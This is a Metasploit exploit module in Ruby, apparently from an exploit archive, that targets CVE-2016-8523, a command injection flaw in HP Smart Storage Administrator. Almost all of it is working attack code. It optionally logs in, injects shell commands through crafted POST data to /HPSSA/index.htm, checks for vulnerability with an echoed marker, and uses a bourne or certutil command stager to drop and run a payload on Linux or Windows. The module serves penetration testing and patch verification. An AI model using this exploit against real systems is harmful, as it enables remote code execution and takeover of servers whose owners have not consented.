HP Smart Storage Administrator 2.30.6.0 – Remote Command Injection (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "HP Smart Storage Administrator Remote Command Injection", 'Description' => %q{ This module exploits a vulnerability found in HP Smart Storage Administrator. By supplying a specially crafted HTTP request, it is possible to control the 'command' variable in function isDirectFileAccess (found in ipcelmclient.php), which will be used in a proc_open() function. Versions prior to HP SSA 2.60.18.0 are vulnerable. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nicolas Mattiocco (@MaKyOtOx)' # Discovery & multi-platform Metasploit module ], 'References' => [ ['CVE', '2016-8523'] ], 'DefaultOptions' => { 'SSL' => true }, 'Platform' => %w{ linux win }, 'Targets' => [ ['Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86, 'CmdStagerFlavor' => 'bourne' }], ['Linux (x64)', { 'Platform' => 'linux', 'Arch' => ARCH_X86_64, 'CmdStagerFlavor' => 'bourne' }], ['Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86, 'CmdStagerFlavor' => 'certutil' }], ['Windows (x64)', { 'Platform' => 'win', 'Arch' => ARCH_X86_64, 'CmdStagerFlavor' => 'certutil' }], ], 'Privileged' => false, 'DisclosureDate' => "Jan 30 2017" )) register_options( [ Opt::RPORT(2381), # USERNAME/PASS may not be necessary, because the anonymous access is possible OptString.new("USERNAME", [false, 'The username to authenticate as']), OptString.new("PASSWORD", [false, 'The password to authenticate with']) ], self.class) end def check @cookie = '' sig = Rex::Text.rand_text_alpha(8) cmd = "&echo%20#{sig}&echo" res = send_command(cmd, true) if not res vprint_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown end if res.code == 200 && res.headers.to_s() =~ /#{sig}/ return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def login username = datastore['USERNAME'] password = datastore['PASSWORD'] cookie = '' res = send_request_cgi({ 'method' => 'POST', 'uri' => '/proxy/ssllogin', 'vars_post' => { 'redirecturl' => '', 'redirectquerystring' => '', 'user' => username, 'password' => password } }) if not res fail_with(Failure::Unknown, "#{peer} - Connection timed out during login") end # CpqElm-Login: success if res.headers['CpqElm-Login'].to_s =~ /success/ cookie = res.get_cookies.scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || '' end cookie end def setup_stager execute_cmdstager(:temp => './', :linemax => 2800) end def execute_command(cmd, opts={}) res = send_command(cmd, false) if res && res.code != 200 vprint_error("Unexpected response:\n#{res}") fail_with(Failure::Unknown, "There was an unexpected response") end end def send_command(cmd, check) if !datastore['USERNAME'].to_s.empty? && !datastore['PASSWORD'].to_s.empty? && @cookie.empty? @cookie = login if @cookie.empty? fail_with(Failure::NoAccess, "#{peer} - Login failed") else print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'") end end req_opts = {} # For the check() function, use GET method if check req_opts['uri'] = "/HPSSA/index.htm#{cmd}" req_opts['method'] = "GET" else req_opts['uri'] = "/HPSSA/index.htm" req_opts['method'] = "POST" req_opts['vars_post'] = {'msf'=>'red'} case target.opts['Platform'] when "linux" then req_opts['data'] = "\" & #{cmd.gsub(/\.\//,"/tmp/")} & echo \"" when "win" then req_opts['data'] = "\" & #{cmd.gsub(/\.\//,"\.\\")} & echo \"" end end unless @cookie.empty? browser_chk = 'HPSMH-browser-check=done for this session' curl_loc = "curlocation-#{datastore['USERNAME']}=" req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}" end send_request_cgi(req_opts) end def exploit @cookie = '' setup_stager end end |